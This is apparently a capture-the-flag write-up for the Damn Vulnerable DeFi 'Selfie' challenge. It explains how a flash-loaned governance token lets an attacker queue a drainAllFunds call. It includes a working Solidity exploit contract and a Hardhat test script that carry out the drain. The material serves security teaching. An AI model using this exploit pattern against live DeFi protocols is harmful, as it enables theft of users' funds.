Damn Vulnerable DeFi - Selfie
Analysis
SelfiePool is a simple flash loan pool that allows onlyGovernance user to drain the pool
The flashLoan routine must be invoked from contract that implements a routine with the signature: receiveTokens(address, uint256)
The drainAllFunds will drain the funds into a target denoted receiver account.
SimpleGovernance implements a governanceToken used to determine if a user has enough votes to queue an action.
-
Q. How does a user acquire
governanceToken?A. By lending from the pool
actions is a mapping of ids to GovernanceAction
A GovernanceAction is an arbitrary routine invoked with some weiAmount
An external invoker can interact with the routines executeAction, and queueAction.
The routine queueAction attempts to prevent an invoker from queing an action against the GovernanceAction.
The routine executeAction routine invokes the arbitrary routine on the target contract denoted receiver in the specified action.
Problem
There exists a sequence of operations that lead to the drainAllFunds to be invoked with the attacker’s EOA address. This is because SimpleGovernance’s queueAction does not protect against queuing actions against the pool. drainAllFunds is implemented by the pool.
The same token used to manage governance can be flashloaned.
Exploit
- ExploitSelfie.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract ExploitSelfie {
using Address for address payable;
SelfiePool immutable private pool;
SimpleGovernance immutable private governance;
DamnValuableTokenSnapshot private governanceToken;
address immutable private owner;
constructor (address poolAddr,
address govAddr) {
pool = SelfiePool(poolAddr);
governance = SimpleGovernance(govAddr);
owner = msg.sender;
}
function exploit(uint256 borrowAmount) external payable {
// invoke flashloan
// which should trigger receiveTokens
pool.flashLoan(borrowAmount);
}
function receiveTokens(address target, uint256 amount) external payable {
require(msg.sender == address(pool));
governanceToken = DamnValuableTokenSnapshot(target);
governanceToken.snapshot();
// Queue an action
// Set up action.data
// prepare a call for the drainAllFunds function
bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
// receiver is attacker/owner
owner);
// invoke queueAction
governance.queueAction(
address(pool),
data,
0
);
// payback the loan
governanceToken.transfer(address(pool), amount);
}
}
- selfie.challenge.js
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const ExploitSelfieFactory = await ethers.getContractFactory("ExploitSelfie", attacker);
const ExploitSelfie = await ExploitSelfieFactory.deploy(this.pool.address, this.governance.address);
await ExploitSelfie.connect(attacker).exploit(TOKENS_IN_POOL);
// advance the time by 2 days
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 day
await this.governance.executeAction(1);
});
Explanation
-
GovernanceActioncan be used to trigger an arbitrary contract call. We need to triggerdrainAllFunds. This function is owned bySelfiePoolwhich will be specified as the queue action receiver. -
To queue an action, an invoker needs to own more than half of the tokens available. This can be satisfied by borrowing from the pool.
-
The queued action is timed and can be executed after two days. Hence, the loan can be returned in time and the exploit triggered in future.